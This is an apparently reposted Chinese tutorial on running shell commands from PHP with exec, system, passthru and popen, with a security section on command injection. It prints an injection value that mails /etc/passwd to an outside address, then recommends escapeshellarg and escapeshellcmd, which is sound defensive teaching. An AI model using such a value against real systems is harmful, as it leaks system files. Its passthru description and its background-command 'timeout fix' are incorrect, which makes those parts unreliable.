PHP执行系统命令 exec,system,passthru,popen

来源:互联网 发布:免费下载安装淘宝网 编辑:程序博客网 时间:2024/05/20 13:14

PHP给给我们提供了三种内置函数 exec,system,passthru用来执行系统命令.
1. exec
exec(string $command[,array $out_put][,$ret_val]);
第一个参数是我们需要执行的命令,第二个参数是最后一条shell命令的结果.第三个参数是返回执行的状态,返回0 执行成功
例如:

1
2
3
4
5
<?php
exec("/bin/ls",$arr,$retval);
print_r($arr);
echo $retval;
?>

输出
Array
(
[0] => index.html
[1] => info.php
[2] => php.core
[3] => test.php
)
状态码:0
2.system
system(string $command[,int $ret_val);
第一个参数是我们执行的系统命令,第二个参数是状态,该函数会输出最后一条shell执行的结果

1
2
system("/bin/ls",$retval);
echo $retval;

输出结果

index.html
info.php
php.core
test.php
状态码 0;
3.passthru
passthru(string $command,$retval);
第一个参数系统执行的命令,第二个参数是状态码.
该函数不输出任何内容.

1
2
passthru("/bin/ls",$retval);
echo $retval;

结果 0;
4.popen
resource popen ( string $command , string $mode );
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
该函数返回一个管道句柄,可以用来读和写.
该管道可以用pclose来关闭.

1
2
3
$fp=popen("/bin/ls","r");
$str=fread($fp,1024);
pclose($fp);

输出结果
index.html
info.php
php.core
test.php

执行系统命令,我们需要考虑两个问题
第一 安全性,第二 超时.
我们在开发的时候有个原则,用户输入的内容是绝对不可信的.我们必须要过滤恶意用户提交的非法内容.
比如你有个系统…需要给用户发邮件….
如果调用Linux的mail来发邮件..就像这样
system(“mail $to <A.TXT");
而邮箱地址是用户输入进来的数据...
那么..如果有恶意用户.提交这样的代码
'–bla ; mail imsiren@imsiren.com < /etc/passwd ;'
!!!!!!!!!!
你是不是会吓出冷汗...
这条代码会执行为
system("mail -bla;mail imsiren@imsiren.com < /etc/password ;<A.TXT");
PHP提供了两个函数用来解决这个问题.
escapeshellarg()和escapeshellcmd();
escapeshellarg用来过滤 shell的参数,给特定的字符串加上单引号
escapeshellcmd用来过滤 cmd命令. 把特定的字符串转义.
这样命令和参数就安全的被执行.
超时问题:
由于PHP语言的特性,它需要一条一条的执行代码.
那么 加入这个system执行的时间需要很长,那么肯定会造成PHP脚本执行超时.
解决办法把命令的输出重定向到另外一个文件或流中,如:
system(“/etc/bin > /tmp/null &”);
这样就OK了.

原创粉丝点击